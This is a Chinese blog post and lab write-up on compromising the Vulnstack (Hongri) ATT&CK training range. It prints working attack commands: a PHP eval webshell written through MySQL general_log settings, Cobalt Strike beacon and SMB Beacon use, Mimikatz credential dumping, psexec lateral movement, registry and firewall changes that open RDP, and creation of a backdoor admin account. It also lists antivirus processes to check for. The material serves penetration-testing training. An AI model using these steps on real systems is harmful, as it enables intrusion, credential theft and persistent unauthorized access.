20多岁了,我考虑过悍马,也看过野马,还想过宝马,后来看了看海马,最后选择了爱玛,付款的时候还是选择了沙琪玛
点击上方蓝字关注我们
元旦快乐
元旦快乐
01
内网结构及靶机环境搭建
本次漏洞复现环境涉及的工具关注公众号并回复“ATT&CK1_元旦快乐” 即可获得!但后门未知,请自行检测,另外只能用于内部靶机测试,请勿非法使用,后果自负。
名称 |
服务器 |
系统 |
网卡 |
VM1 |
Web服务器 |
windows7 x64 |
NAT: 192.168.213.130 主机: 192.168.52.137 |
VM2 |
域成员 |
win2k3 Metasploitable |
主机: 192.168.52.141 |
VM3 |
域控服务器 |
windows server 2008 R2 x64
|
主机: 192.168.52.138 |
注:以上靶机环境均来自红日安全团队
靶机下载地址:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/#screenshot
以上靶机所有统一密码为:hongrisec@2019
我这里改成了 admin@123
搭建环境注意事项
1. vm1 靶机 需要自己去启动phpstudy,默认是没有开启的,这里我当时还卡了一会,真的tcccccl.
2. 配置网络的时候,只需要改第一个靶机也就是vm1(windows 7的),新加一个外网环境的网卡就ok,可以是nat也可以是桥接,另外一个必须得是仅主机模式,默认的地址是 192.168.52.0/24 ,不要改成其他的,因为主机加入域的时候,dns 是域控的ip ,写死的192.168.52.130 。
02
外网getshell
01
信息收集
1. 正常打开是一个php探针
利用点:
1) 检查php禁用了哪些函数
2) 爆破数据库密码
2. 目录扫描(这里用的是dirsearch)
PS:ctf打的比较多,如果日后遇到其他服务器有墙的情况下,可以设置线程的方式来进行扫描
(dirsearch.py -u url -e * --timeout=2 -t 1 -x 400,403,404,500,503,429)
具体细节不一一描述,
综上所述:
IP地址:192.168.213.130
主机信息:Windows NT STU1 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586
服务器解析引擎:Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
网站绝对路径:C:/phpStudy/WWW
被禁用函数:无
网站类型:yxcms,有后台
数据库账号和密码:root/root
phpmyAdmin: http://192.168.213.130/phpmyAdmin/
02
mysql 数据库日志getshell
爆破拿到数据库账号密码后,又发现有phpmyAdmin,所以想拿到shell就有很多办法了。
最常见的就是
select '<?php eval($_POST[rh]); ?>' into outfile 'C:/phpStudy/WWW/ma.php';
select load_file('C:/phpStudy/WWW/rh.php');
但是这里是行不通,所以可以通过mysql版本>5.0这一特性来getshell,
因为mysql5.0以上会创建日志文件,可以通过修改日志的保存路径来getshell
操作步骤:
SHOW VARIABLES LIKE 'general%'
general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
general log file 指的是日志的保存路径。(上面显示的是我已经改好的,默认的是OFF,且路径不在web目录下,应该是在数据库的目录下)
然后:
1. 开启日志存储
2. 修改日志保存路径
set global general_log = "ON";
set global general_log_file='C:/phpStudy/WWW/rh.php';
3. 这是为了让数据库记录我们输入的语句,从而写入木马
select '<?php eval($_POST[cmd]);?>';
4. 然后直接用蚁剑连接即可
03
文件上传getshell
除此之外,还可以通过cms的漏洞来进行getshell
在网页上看到了用户名和密码(在正常的站当中很少会出现这样的情况,但是我依然可以通过这样的弱口令去尝试,尤其是一些旁站,弱口令是最容易入手的一个环节)
登陆进去后直接编辑对应的php文件,然后找到对应的文件即可getshell,这里靶机是自留了一个后门。
03
基于CobaltStrike的内网渗透
由于本靶机全部都是windows环境,而且均没有使用杀毒软件,所以用cobaltstrike 是最佳之选了。当然在后面我也会介绍其他的几种用法~~~
首先开启服务端, 这里也可以通过用screen命令来后台运行
客户端看个人情况,有些人下载没有去编译客户端,所以需要使用下面的命令打开:
java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
1. 首先利用cs监听一个端口
2. 生成一个windows64位的木马,因靶机环境没有装杀毒软件,所以这里没有用免杀马,后续文章将会具体介绍各种免杀马
3. 生成的木马放到win7虚拟机中运行即可获取shell,可以发现是管理员权限。
(注:拿到shell后一定要设置心跳值,默认的为60秒,所以执行命令等操作都会很慢,做实验的话设置0或者1就行。但平时实战中尽量设置高点,不然容易被检测到)
4. 拿到shell后可以基本的信息收集一波, 如 net user 、 whoami、hostname等等。当然我平时基本上就是一条命令搞定-systeminfo,基本上一条命令就能一目了然。(小知识:如果嫌看的麻烦,几条命令可以快速的知道操作系统和版本:
系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
查询系统体系架构:echo % PROCESSOR_ARCHITECTURE%
查询已安装的软件及版本信息:wmic product get name,version
)
5. 其次就是看系统进程,一般主要都是为了查看有没有一些杀毒软件,这里是没有,也不详细介绍了。另外附带一个常见的杀软进程表:
进程名 | 软件 |
---|---|
360sd.exe | 360 杀毒 |
360tray.exe | 360 实时保护 |
ZhuDongFangYu.exe | 360 主动防御 |
KSafeTray.exe | 金山卫士 |
SafeDogUpdateCenter.exe | 安全狗 |
McAfee | McShield.exe |
egui.exe | NOD32 |
AVP.exe | 卡巴斯基 |
avguard.exe | 小红伞 |
bdagent.exe | BitDefender |
QQPCRTP.exe | QQ电脑管家 |
mssecess.exe | 微软杀毒 |
BaiduSdSvc.exe | 百度杀软 |
rfwmain.exe | 瑞星防火墙 |
beikesan.exe | 贝壳云安全 |
KSWebShield.exe | 金山网盾 |
V3Svc.exe | 安博士V3 |
remupd.exe | 熊猫卫士 |
vba32lder.exe | vb32杀毒 |
K7TSecurity.exe | K7杀毒 |
6. 此环境 重点讲的还是域,所以还是重点提下域环境的收集。
-
那什么是域呢?
域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器的一个或多个中央计算机集群上的中央数据库中注册。身份验证在域控制器上进行。在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。从Windows Server 2003开始 , Active Directory是负责维护该中央数据库的Windows组件。Windows域的概念与工作组的概念形成对比,在该工作组中,每台计算机都维护自己的安全主体数据库。
-
怎么确定拿到的shell是否存在域呢?
1)使用 net config workstation
2) 使用 ipconfig /all
查看 DNS
服务器
3) 像下面我在另外一个没有域环境的windows主机执行该命令会发现显示的是工作者,这种的肯定是不存在域的。 (注:如果发生系统错误5,则说明是存在域的,只是当前用户不是域用户而已)
4) 由于文章过长,这里就不一一的贴上对应命令的图片了,对域的一些其他的信息收集命令:
获取域内用户的详细信息,如用户名、描述信息、SID域名等:
wmic useraccount get /all
查看所有域成员计算机列表:
net group "domain computers" /domain
查看域管理员:
net group "domain admins" /domain
获取域密码信息:
net accounts /domain
获取域信任信息 (cs 里执行提示不是内部或外部命令):
nltest /domain_trusts
7. 基本的信息搜集后,确认有域用户,就可以直接进行内网渗透了,因是管理员权限,所以可以尝试是否能提权,这里可以使用cs自带的提权插件进行提权,最终发现svc-exe插件可以进行提取。
5. 提权成功后就可以开始打内网了,执行ipconfig命令是可以看到存在两个网卡,分别为:
192.168.213.130(外网)
192.168.52.137(内网)
然后使用cs自带的端口扫描工具对192.168.52.0/24进行扫描
6. 发现确实内网还存在其他两台存活主机,并且发现均开放了445端口,基本断定是两台windows系统的主机,这个实话可以联想到445端口弱口令、永恒之蓝等等
7. 一步一步的来,先利用cs自带的Minikatz(密码抓取神器)获取当前系统所有用户的一些
8. 现在已经拿到了用户名和密码,且内网其他两台机器开放了445端口,所以可以尝试使用抓取到的用户和密码通过psexec进行登陆。
psExec是微软pstools工具包中最常用的一个工具,也是在内网渗透中的免杀渗透利器。
psExec能够在命令行下在对方没有开启telnet服务的时候返回一个半交互的命令行,像telnet客户端一样。非常方便我们的工作,之所以叫半交互是因为这个命令行不能够执行一条命令中有交互的回显,比如runas的密码输入
在登陆之前需要利用cs派生SMB Beacon
SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽, 也可以用此特点绕过一些防火墙
这里使用的是4.2版本的cs,所以跟3.x的会略有不同,其原理一样
点击运行后即可获取shell
同样的方法依然可以获取192.168.52.141的shell
9. 至此,内网渗透完毕,已经成功获取所有主机的权限,实际上真的有这么简单🐎? 其实之前能够这么快获得所有主机的权限,是因为我的得到了域管理员的账号密码,但是在实际情况下,基本上是不可能的,只是这里的靶机故意而为之,所以真正的内网渗透并没有这么容易。当然从这里也知道了,拿域控的关键还是在于获取域控主机管理员的账号和密码。
04
基于rdp形式的内网渗透
上面基本上都是在cs一套流程走完的,但是在真实的环境中,一般都是会有一些杀毒软件的,如果您不会免杀,木马根本没法在cs上上线,所以这个时候也可以通过一些其他的办法来进行操作。
1. 可以发现目标机未开放338端口,所以我们可以先开启3389端口
#启动 3389端口
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
2. 添加一个管理员权限的用户
net user test1 test.123 /add
net localgroup administrators test1 /add
3. 但是发现并不能登陆3389,因为目标机开启了防火墙,所以我们得关掉防火墙或者添加一条3389的入站规则。但是执行防火墙的操作必须得是sytem权限,所以这里还是得提权,这里用getSytem.exe这个提权工具即可轻松以system权限执行命令。
(ps: 也可以通过正向代理的方式进行登陆,下节靶机内容再用这个方法)
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389
4. 利用免杀版的Mimikatz来获取账号密码(因为我这个是交互式的,所以必须得登陆3389才行)
mimikatz
#log mimikatz
#privilege::debug mimikatz
#sekurlsa::logonpasswords
大功告成,用psexec来登陆域控主机啦
05
总结
域渗透(不谈维权和痕迹擦除等)主要目的为了拿到域管理员的密码 ,然后登录域控。
人生漫漫其修远兮,网安无止境。
元旦快乐
本文始发于微信公众号(IDLab):ATT&CK 红日靶场实战演习心得笔记(一)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论